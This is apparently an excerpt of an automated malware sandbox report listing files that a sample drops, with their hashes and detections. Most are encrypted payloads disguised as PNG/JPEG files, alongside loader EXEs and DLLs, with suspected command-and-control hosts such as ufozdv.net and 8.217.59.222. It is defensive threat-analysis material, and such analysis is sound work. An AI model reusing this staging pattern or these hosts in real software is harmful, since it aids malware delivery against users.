	5UnAIdF7m2.docx	Get hash	malicious	Unknown	Browse	118.178.60.9
	x6yDsHJ9tr.exe	Get hash	malicious	Remcos, GuLoader	Browse	118.178.60.9
	LrBF2Z930N.exe	Get hash	malicious	Remcos, GuLoader	Browse	118.178.60.9
	2T10XBqS6g.exe	Get hash	malicious	Remcos, GuLoader	Browse	118.178.60.9

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse
	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse
	13478674376-78423498.01.exe	Get hash	malicious	Unknown	Browse
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse
	2362476847-83854387.07.exe	Get hash	malicious	Nitol	Browse
	2o63254452-763487230.06.exe	Get hash	malicious	Nitol	Browse
	e2664726330-76546233.05.exe	Get hash	malicious	Nitol	Browse

Created / dropped Files

C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe

Download File

Process:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	54152
Entropy (8bit):	6.64786972992462
Encrypted:	false
SSDEEP:	768:jE8w9LlgD9z/4vt+aEjzaXEjoN6Fdv9SqJvwjgCb2VIIL/o/rw3J:jE3LKDZjaEjza0jJRJviN21ME3J
MD5:	7B6586E21FBC8F2F0BB784A1A8FC65B4
SHA1:	E33722B4790B3C83B6F180E57D1B6BEBBC6153CB
SHA-256:	7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722
SHA-512:	E2B4B8F5379D3ADBB5280D1C77C2AA7F5A7212173231576BAC6D7A26109B88BC5CB377CF9D879E7BE2E36CE860C9BCDA7769A22EED5ED63797F70534C6CDDA4C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 183643586-388657435.07.exe, Detection: malicious, Browse Filename: 149876985-734579485.05.exe, Detection: malicious, Browse Filename: 13478674376-78423498.01.exe, Detection: malicious, Browse Filename: 1387457-38765948.15.exe, Detection: malicious, Browse Filename: 2976587-987347589.07.exe, Detection: malicious, Browse Filename: 2976587-987347589.08.exe, Detection: malicious, Browse Filename: 2873466535874-68348745.02.exe, Detection: malicious, Browse Filename: 2362476847-83854387.07.exe, Detection: malicious, Browse Filename: 2o63254452-763487230.06.exe, Detection: malicious, Browse Filename: e2664726330-76546233.05.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%U..vU..vU..vK.pvL..vK.avE..vK.wv...v\.gv\..vU..v...vK.~vW..vK.`vT..vK.evT..vRichU..v........PE..L....B.O.................b...@....................@..................................g....@.....................................d.......\................-..........P...............................0...@............................................text....a.......b.................. ..`.rdata...............f..............@..@.data...............................@....rsrc...\...........................@..@.reloc..`...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\20UfEkDS1\log.src

Download File

Process:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5059989
Entropy (8bit):	7.99995522778066
Encrypted:	true
SSDEEP:	98304:LOQ8oQBU091MWehE/7o29Mtr9vBGTrBkm638mgfttxtoSrHCYE7GUcOc2s:Oo6T1MFhE/7qJwBP6TWtttriYE7kjv
MD5:	BBD4B9467A7572C455D03C7415A7935F
SHA1:	EFC3689C5D98A4F5254480A161FFA9E527F868A8
SHA-256:	65AE53C022C5652A54ED54EC3EE255CE1C3D6A7110CB236812CC1E913239A70D
SHA-512:	C62D56AB1BCFA4B108D130AD0F98CE2F12F0977FAA25B1668353416994906223008CCBEDE50CF2E6E6B1F5643778FC52FCAF8EAD50BD03EA91B1C87A84C732B8
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q.....q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll

Download File

Process:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4858192
Entropy (8bit):	7.992516632030618
Encrypted:	true
SSDEEP:	98304:9RK1dm+O6P0DvHI/Tvyegz2UrrrjRyBEXp0/aeuZmQQLFXfoGku+i17/7:9S4+O6P5OeMRrjRy7aPZbm3k8V/7
MD5:	8500EB2F51BA713B320FBB662FA9EBDD
SHA1:	696406E2617F4F89A477250D52E3A1DA6BB33E96
SHA-256:	F05540686CBE8190D5F9F2FEEA0EA151B5A14CA686D6CBC36785C09E6D3AC721
SHA-512:	A085790B5C983FB7198609EDB5631C67049FC2369FF4154FA4E2AF7490C63B86EF4009157507FB2741031FF04A664A40B2F4F54A1B6CC278BFFBD0D9006FD999
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...........!...'.,..........D)D......@................................s...........@...........................3.R.....D.P....ps...............I.(K...Ps......................................Ks.@.............).,............................text...s+.......................... ..`.rdata...n...@......................@..@.data...............................@....%?.....O.'......................... ..`.%-[....\|.....).....................@....mo:....P.I...)...I................. ..`.reloc.......Ps.......I.............@..@.rsrc........ps.......I.............@..@................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\20UfEkDS1\utils.vcxproj

Download File

Process:	C:\Program Files (x86)\vtAIyr\vtAIyr.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	365477
Entropy (8bit):	7.999399967050909
Encrypted:	true
SSDEEP:	6144:PiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnKqW7mbZ:68u69CghoQxoMTFQqtKFCG7mbZ
MD5:	7B40248BEE46674C643ECBC8B2B31F72
SHA1:	EEFD86A41EA17CF2C7C69866E49800DEA85F99EB
SHA-256:	5D39CE561B663785F006071A684505E05AD87605B67F44CF829A7A699680E3C8
SHA-512:	D497EC6C3C966E97CDE1D3001DEFDAA824B89D14CE35C9C16A00A68C2AA54A5B8FB57B1FF03B1748DCF098FBD240D18F0C23F21B4B6903C6D269569130A57800
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......#...............................................................7.K.."............................................................}........!1A...a."q.2....#B...R..$3br........%&'()456789:CDEF8.217.59.222....."ijstuvwxyz....ufozdv.net......3#..............59.222....................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Program Files (x86)\vtAIyr\log.src

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5059989
Entropy (8bit):	7.999955230065412
Encrypted:	true
SSDEEP:	98304:ROQ8oQBU091MWehE/7o29Mtr9vBGTrBkm638mgfttxtoSrHCYE7GUcOc2s:4o6T1MFhE/7qJwBP6TWtttriYE7kjv
MD5:	8BEAAB6457B7EC64EA9B3FF5F46F04AF
SHA1:	53DAF7A2850C3FA97AB31D920738AE3A1881D679
SHA-256:	9453766FE603F1D48B71B05E922A11BDAD47AD410E2C2BE5CD01BD12BA329209
SHA-512:	C6C5BBFDB3CEB7381A491BA992E946D9E31D2966E2E1D78058F372936C54F4F7B5F92894B412DF109979CD601DE8F0F479F67667C9D2F5B896A87928BF39CF95
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Program Files (x86)\vtAIyr\tbcore3U.dll

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4858192
Entropy (8bit):	7.992517244911935
Encrypted:	true
SSDEEP:	98304:9RK1dm+O6P0DvHI/Tvyegz2UrrrjRyBEXp0/aeuZmQQLFXfoGku+i17/Z:9S4+O6P5OeMRrjRy7aPZbm3k8V/Z
MD5:	DF0C782ABE77E924FE7727DC2FF0A278
SHA1:	2CF1AE7B65600A52450E0F9F99664C53D4844581
SHA-256:	9C520511357A710FB11AAE59BDC7E685147991875F6BF0F0C0C8ED866B80C13D
SHA-512:	C42A573F5D1D979E03FA102B5C5805EFF31120CACF35BE40267A690B3886BF8D050C39E8FB7899ECB5EFC2E9F19A43E2C9C97DDE9CFB1FB7549A3E61126B8FB9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...........!...'.,..........D)D......@................................s...........@...........................3.R.....D.P....ps...............I.(K...Ps......................................Ks.@.............).,............................text...s+.......................... ..`.rdata...n...@......................@..@.data...............................@....%?.....O.'......................... ..`.%-[....\|.....).....................@....mo:....P.I...)...I................. ..`.reloc.......Ps.......I.............@..@.rsrc........ps.......I.............@..@................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\vtAIyr\utils.vcxproj

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	365477
Entropy (8bit):	7.999399707462139
Encrypted:	true
SSDEEP:	6144:WiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnKqW7mbZ:Z8u69CghoQxoMTFQqtKFCG7mbZ
MD5:	870BC5FC011CB8F375475AC416D13097
SHA1:	FB6C99B5874F4159FD61A9C9D086AC376B4CBD26
SHA-256:	F77FE7690510FF142D0B09523FE2B60A9922FB1AE76ABB1DE1B247686190326F
SHA-512:	575BBAAEF8EE2F33B5CDFD0176FB70E07967EF86D1C3991BDB107DAB9CCF7390CCF99B8AD76A0266592C7742A07A4ED732802087F1F1086636E300006B6E6388
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A...a."q.2....#B...R..$3br........%&'()456789:CDEF8.217.59.222....."ijstuvwxyz....ufozdv.net......3#..............59.222....................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Program Files (x86)\vtAIyr\vtAIyr.exe

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	54152
Entropy (8bit):	6.64786972992462
Encrypted:	false
SSDEEP:	768:jE8w9LlgD9z/4vt+aEjzaXEjoN6Fdv9SqJvwjgCb2VIIL/o/rw3J:jE3LKDZjaEjza0jJRJviN21ME3J
MD5:	7B6586E21FBC8F2F0BB784A1A8FC65B4
SHA1:	E33722B4790B3C83B6F180E57D1B6BEBBC6153CB
SHA-256:	7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722
SHA-512:	E2B4B8F5379D3ADBB5280D1C77C2AA7F5A7212173231576BAC6D7A26109B88BC5CB377CF9D879E7BE2E36CE860C9BCDA7769A22EED5ED63797F70534C6CDDA4C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%U..vU..vU..vK.pvL..vK.avE..vK.wv...v\.gv\..vU..v...vK.~vW..vK.`vT..vK.evT..vRichU..v........PE..L....B.O.................b...@....................@..................................g....@.....................................d.......\................-..........P...............................0...@............................................text....a.......b.................. ..`.rdata...............f..............@..@.data...............................@....rsrc...\...........................@..@.reloc..`...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\yKOHid\5fuoTf.exe

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	54152
Entropy (8bit):	6.64786972992462
Encrypted:	false
SSDEEP:	768:jE8w9LlgD9z/4vt+aEjzaXEjoN6Fdv9SqJvwjgCb2VIIL/o/rw3J:jE3LKDZjaEjza0jJRJviN21ME3J
MD5:	7B6586E21FBC8F2F0BB784A1A8FC65B4
SHA1:	E33722B4790B3C83B6F180E57D1B6BEBBC6153CB
SHA-256:	7BAFB7B02EA7C52D3511F3AC21C0586E92C44738AD992D63463AADC260C81722
SHA-512:	E2B4B8F5379D3ADBB5280D1C77C2AA7F5A7212173231576BAC6D7A26109B88BC5CB377CF9D879E7BE2E36CE860C9BCDA7769A22EED5ED63797F70534C6CDDA4C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........%U..vU..vU..vK.pvL..vK.avE..vK.wv...v\.gv\..vU..v...vK.~vW..vK.`vT..vK.evT..vRichU..v........PE..L....B.O.................b...@....................@..................................g....@.....................................d.......\................-..........P...............................0...@............................................text....a.......b.................. ..`.rdata...............f..............@..@.data...............................@....rsrc...\...........................@..@.reloc..`...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\yKOHid\log.src

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5059989
Entropy (8bit):	7.999955223362024
Encrypted:	true
SSDEEP:	98304:rOQ8oQBU091MWehE/7o29Mtr9vBGTrBkm638mgfttxtoSrHCYE7GUcOc2s:uo6T1MFhE/7qJwBP6TWtttriYE7kjv
MD5:	A2F78255B9389B0D07FB1D554F6C24F7
SHA1:	B1F6E4D3B1B56932B21F21467AC5DDF00F4CBCF9
SHA-256:	B27D7366817D14F8CCA2FE448D9B5ED93BEA6DFDC6AB0262147D8883E58838C0
SHA-512:	49A00F470FE11BDBED8A466EBB0C155C2AA646FA8E201A32BE4395455874F1225CE664878BC656794351500171DE99C0C248370B59401C99F8AE6CBDB9885F17
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Program Files (x86)\yKOHid\tbcore3U.dll

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4858192
Entropy (8bit):	7.992517253589512
Encrypted:	true
SSDEEP:	98304:9RK1dm+O6P0DvHI/Tvyegz2UrrrjRyBEXp0/aeuZmQQLFXfoGku+i17/I:9S4+O6P5OeMRrjRy7aPZbm3k8V/I
MD5:	FC5E8A26259A24B09529C14EC1ADB62B
SHA1:	105B92EB04CF32479E27ED3F5CC96DA33C8BDDA7
SHA-256:	D0E59E7B6BBAE525261A18F2EA2633DFE28CB375366492FF5DA2CF23653A4EBC
SHA-512:	816BA858664B6E5575106D4274348BDC1021CC95534080478C5F4203737EFAD291CECC9F492F2628C3A98A0FD96F1FF00E7BD7DB2C0EEB21194F0D7F0D5F0771
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...........!...'.,..........D)D......@................................s...........@...........................3.R.....D.P....ps...............I.(K...Ps......................................Ks.@.............).,............................text...s+.......................... ..`.rdata...n...@......................@..@.data...............................@....%?.....O.'......................... ..`.%-[....\|.....).....................@....mo:....P.I...)...I................. ..`.reloc.......Ps.......I.............@..@.rsrc........ps.......I.............@..@................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\yKOHid\utils.vcxproj

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	365477
Entropy (8bit):	7.99939957577552
Encrypted:	true
SSDEEP:	6144:NiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnKqW7mbZ:E8u69CghoQxoMTFQqtKFCG7mbZ
MD5:	0C7B48CFA68179F3FF053A94EE8C734D
SHA1:	6DD5E2AEFE7B77A18C3D83AA6A7F428431F9C5A1
SHA-256:	E2D21EEE24E04F4B459723A2D07E9FE1904B0B1E658C00F43B6053AD6B13E44C
SHA-512:	D0EBBAB3715AE91D5068A11B701D3ADD20644F00A69FA3114577FB9412FBA9AE70EF852BC0BC8597DF7B7395D5FC51621278A1AA428002366D0C9D82B1151255
Malicious:	true
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..'a."q.2....#B...R..$3br........%&'()456789:CDEF8.217.59.222....."ijstuvwxyz....ufozdv.net......3#..............59.222....................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE................HJJKLINOP..ST.VWXYZ[\.^_`abcdefghijklmnopqrstuvwxyz{\|}~........=..>.A

C:\Users\Public\Music\destopbak.ini

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:l:l
MD5:	739EDCC2C973B7A990767601FA661F21
SHA1:	6F8DF82DC929F3C40E2403252D9C7EC09001DBB6
SHA-256:	BA3C702B24E4EF16C111BF92823170F6E81FD37FBAFACCBEEF52192A1C094380
SHA-512:	098608F58AB3FC68088ACE47A30C15056D274AADA2893A224C29DDC0CC70F82B4CA723CE487DED1306F839AC12EE8782BC6383817FD77E7CDE3DEA99525731D1
Malicious:	false
Preview:	.@

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\FOM-52[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PNG image data, 512 x 512, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5062442
Entropy (8bit):	7.999518892518095
Encrypted:	true
SSDEEP:	98304:GIusCrIENkeXPV97kqmCf4P48E37aREUXr7VYyUOhez2IlpmURniNmJ:Xngv7NmCAPLTREQVb8/RomJ
MD5:	70C21DA900796B279A09040B00953E40
SHA1:	7CD3690B1FDDE033CD47E657FC4FC3A423DF716F
SHA-256:	901330243EF0F7F0AAE4F610693DA751873E5B632E5F39B98E3DB64859D78CBC
SHA-512:	851F4ED843F5D47C93D6C5A7D1895A674B6448631B567A0CCB2DF5873E4A5E722F28ECFC4D0D3220A86309481F9793FCDDA4F89BD993FB79CD09DBED29423752
Malicious:	true
Preview:	.PNG........IHDR..............$.....PLTE.....H..K..F.....G..H..G..H..H..D..I..G..Gf.Ff.Hf.Ff.E..H..H..H..H..H........H........H..G........G....................G..H........................................................................................................?..H..G..H..G..G..H.HH.HH.GG.GG.GG.II.GG.??.GG.DD.HH.OO.GG.HH.HH.II.HH.GG.HH.HH.GG.GG.HH.GG.UU.??.GG.GG.HH.HH.GG.33...................GG.HH..G..Gf.F...................GG.HH.GG.HH.H................f.Fg.Fg.Fb.Di.Cf.Gg.Fg.Gf.Fe.G..K.KKi.Fi.K.HHg.G....5n&....tRNS...3.Df....^..wU.MwU...3UMw....f.D"....<.....o.....+..M...^......-......1V{........-.........^...M.+....o......<."D.f...........wU3...^.."..fD".3.K.X.....IDATx....jSQ...Z#x U.T<S............8.D..#..+...A.Y.l.0E...y/!.....E.....;G^,<.A.........\|..z....\|.A;.@..{....... ..>.c.U;.@......u...v..`..`...a..`..`..`..`..`..`..`..`..`...O<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.L<.6.G^l.........4z.#.........=.=.h.....kw...._..~._:.[;.6..C....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\FOM-53[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5], baseline, precision 8, 75x55, components 3
Category:	dropped
Size (bytes):	366410
Entropy (8bit):	7.375315637594966
Encrypted:	false
SSDEEP:	6144:XC/wwzn9iJzBFsJmUSmfXVz7pB+iMuVrt5DY:9ws7FsJmUSmd7pBpMgR58
MD5:	DA1D5EB665D3AAD523BE59415E6449ED
SHA1:	40C310E82035381410B83E4F1DA0A4410FEB8FE6
SHA-256:	F919634AC7E0877663FFF06EA9E430B530073D6E79EEE543D02331F4DFF64375
SHA-512:	6F179A166126C97444920636B584FB0BA4E9596A659921A2BCAA80E7DE094A87402D3E2B6D8DA8797045D7E22C3D37E6CED2A8E137E0387A1320D631B139FD36
Malicious:	false
Preview:	......JFIF.............ZExif..MM..................J............Q...........Q..........%Q..........%...............C....................................................................C.......................................................................7.K.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEF..................ijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K.Si..ZM.....x....8.h<...."..V...F(..1M<..L+.......:.(..\.ANo.)...82...O...P...2...db..u=.4...Wm%=.u&..:.\.W+L#.%5.5..q..E.PQ.....M#..c4....H.".A.R......\#..E.Vg8....PU..Yrh......"..;...i6QE.................IZ....OQPSS.U.WX..[..&6.ab.)eLghibkinoouqrsuuvw2zy{}}~.............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\drops[1].jpg

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37274
Entropy (8bit):	7.991781062764932
Encrypted:	true
SSDEEP:	768:6uBASoT9gu8yCOpS/DCNuoaa7SOjrX+ACdA7EtGKDRklnvga371DNpnN7s:fGSfyxENa7ZCRtxylnvgAVNI
MD5:	6D4DEB9526F3973DE0F9DCE9392F8EA7
SHA1:	520128FB9BAB7064BEA992E4427B924073E58C0E
SHA-256:	B415D73DC6CBEEE59736ADD1AF397B6982BDB2B3A9E994797EE6AF5979E58FD1
SHA-512:	F07E0DAEEE5C54BC8DB462630F46A339D9ED0AF346BAB113B4EC7FD2BC463AFC04CBD0FDFC8D9F54528B7127AA7735575A255B85F2D0B3CCD518FC5DC39BA447
Malicious:	true
Preview:	.PNG........IHDR.............\r.f....pHYs............... .IDATx....n.....&E!J.%M.."..9....."...H..L.....LI:.)..K7..!.4Q...{..d.....[......Z{......<.y<9.o...w....]...q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q..q......3%.F.1p..rD%.;%rD.1p.....qz.....1n.....p.....qz.....1n...0.^.I..9......c.Z....$.Q..K=.OKp=...e%.(.R.....p-tzD..9.m...+.Un...S...5..F..D......R.ys.?W.....\|]....Ke......G......U..1....#^..1\|..!.O.OWr.H.w.P..p.V..H.wz..mo.U....?F......k7[2.."....+...&]#..d......<...V\{P..d...8=.9..Al....Wr......Pc`......X.g..\.\|i7.....O.B.g.p...]..%.^..T.w....a.u..x..zZ........V.....$.Y.6.t....?.g.~..@.93.g.....lPn..o...7.p.J.Cq....J....3.<]...X...w..o..\.u...Jv...3e.).9q..6(..s...^.k...#..[Vr.t.47J}..M......:.....I%.Q\cPN.n...R.z;3J..c....q.].~s.J..._.d.........y....ur{:v...A.I%....)....t{..(.g.o...;....>..7)~{P~_.....5t{X<.x....J....J.0..YY\b.-&.?...Y7.$.X_.e.......{..Jd.3w...l......q.M...&..*...~f...[./.......w..U.^.{q.`......GVV...5.;Z.`W.-uxV...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\f[1].dat

Download File

Process:	C:\Users\user\Documents\77WmQZ.exe
File Type:	data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	4.5851931774575325
Encrypted:	false
SSDEEP:	6:JRSscjAQ7F3Y+ZcRC60rdimzYFAQT7LE/o2xjC:fSscjHRY+ZcRAdimzo/OY
MD5:	E54C4296F011EC91D935AA353C936E34
SHA1:	53A3313D40696E87C9B8CE2BE7E67BE49DD34C20
SHA-256:	81FF16AEDF9C5225CE8A03C0608CC3EA417795D98345699F2C240A0D67C6C33D
SHA-512:	5D1FBA60BE82A33341E5B9E7D3C1E7B0DCC9A41B4C1F97F2930141A808D62AF56D8697CB0D2FD4894A6080DF98A3E4EEF9D98A6003C292C588F547E1C6F84DE1
Malicious:	false
